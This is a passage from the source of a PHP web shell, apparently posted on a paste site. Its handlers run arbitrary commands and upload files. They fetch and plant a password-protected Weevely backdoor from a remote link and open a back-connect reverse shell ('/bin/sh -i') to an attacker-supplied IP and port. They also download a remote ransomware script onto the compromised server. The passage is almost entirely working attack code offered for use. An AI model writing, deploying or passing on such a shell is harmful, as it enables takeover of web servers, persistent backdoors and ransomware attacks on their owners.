  693.     $js->Jtitle('Command Shell');
  694.     $js->Jshell_act('cmd');
  695.     if(isset($_POST['exec'])){
  696.       echo "<pre class='code'>";
  697.       echo $js->Jcmd($_POST['cmd']);
  698.       echo "</pre>";
  699.     }
  700.   }elseif($_GET['jshell_act'] == 'upl')
  701.   {
  702.     $js->Jtitle('Uploader');
  703.     $js->Jshell_act('upl');
  704.     if(isset($_POST['upload'])){
  705.       echo "<pre class='code'>";
  706.       $file_up = $js->array_upload($_FILES['jfilez']);
  707.       foreach($file_up as $filup){
  708.         if($js->Jupl($filup['tmp_name'],$_POST['jdirz']."/".$filup['name'])){
  709.           $res_upl.="Successfuly Upload file : ".$_POST['jdirz']."/".$filup['name'];
  710.         }else{
  711.           $res_upl.="Failed to upload file !";}
  712.         }
  713.         echo $res_upl."<br/></pre>";
  714.       }
  715.   }elseif ($_GET['jshell_act'] == 'wev') {
  716.     $js->Jtitle('Weevely remote shell backdoor');
  717.     if($js->Jcaller($js->src_link['weevely'],'Jweevely.php'))
  718.     {
  719.       echo "<center><b>Successfuly called <a href='Jweevely.php' target='_blank'>Jweevely.php</a> !!</b><br/>";
  720.       echo "<p>password :: jshelv1 ,<br/> open your terminal and remote weevely :D </p>";
  721.       echo "<pre>$ weevely http://".$_SERVER['HTTP_HOST']."/".dirname($_SERVER['REQUEST_URI'])."/Jweevely.php jshellv1 </pre>";
  722.     }else{
  723.       echo "request failed";
  724.     }
  725.    
  726.   }elseif ($_GET['jshell_act'] == 'lc') {
  727.     $js->Jtitle('Localroot');
  728.     $js->Jshell_act('lc');
  729.   }elseif($_GET['jshell_act'] == 'net')
  730.   {
  731.     $js->Jtitle('BackConnect');
  732.     $js->Jshell_act('bc');
  733.     if(isset($_POST['sbmt']))
  734.     {
  735.       $sock=fsockopen($_POST['ip'],$_POST['port']);
  736.       if($sock)
  737.       {
  738.         echo "<center>Connection estabilished~</center> <br>";
  739.       }else{
  740.         echo "<center>Connection failed</center><br>";
  741.       }
  742.       $js->cmd("/bin/sh -i <&3 >&3 2>&3");
  743.     }
  744.   }elseif($_GET['jshell_act'] == 'rans')
  745.   {
  746.      $js->Jtitle('Ransomware ');
  747.     if($js->Jcaller($js->src_link['ransomware'],'s57rsw.php'))
  748.     {
  749.       echo "<center><b>Successfuly called <a href='s57rsw.php' target='_blank'>s57rsw.php</a> !!</b><br/>";
  750.     }else{
  751.       echo "request failed";
  752.     }
  753.   }
  754. }
  755. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement